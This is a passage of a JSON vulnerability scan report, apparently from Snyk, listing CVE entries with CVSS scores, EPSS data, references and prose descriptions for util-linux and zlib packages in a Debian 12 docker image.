[https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/bsdutils@1:2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/bsdutils",
"version": "1:2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/mount",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/mount",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/mount",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/mount",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-ZLIB-19520487",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-85091",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-85091"
},
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-85091](https://security-tracker.debian.org/tracker/CVE-2026-85091)\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-09-04T04:42:43.528839Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-04T04:42:43.535393Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:01.972206Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-6008963",
"cpes": [],
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "critical",
"cvssScore": 9.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2023-45853",
"title": "https://security-tracker.debian.org/tracker/CVE-2023-45853"
},
{
"url": "http://www.openwall.com/lists/oss-security/2023/10/20/9",
"title": "http://www.openwall.com/lists/oss-security/2023/10/20/9"
},
{
"url": "http://www.openwall.com/lists/oss-security/2024/01/24/10",
"title": "http://www.openwall.com/lists/oss-security/2024/01/24/10"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356",
"title": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61",
"title": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61"
},
{
"url": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4",
"title": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4"
},
{
"url": "https://github.com/madler/zlib/pull/843",
"title": "https://github.com/madler/zlib/pull/843"
},
{
"url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html",
"title": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html"
},
{
"url": "https://pypi.org/project/pyminizip/%23history",
"title": "https://pypi.org/project/pyminizip/%23history"
},
{
"url": "https://security.gentoo.org/glsa/202401-18",
"title": "https://security.gentoo.org/glsa/202401-18"
},
{
"url": "https://security.netapp.com/advisory/ntap-20231130-0009/",
"title": "https://security.netapp.com/advisory/ntap-20231130-0009/"
},
{
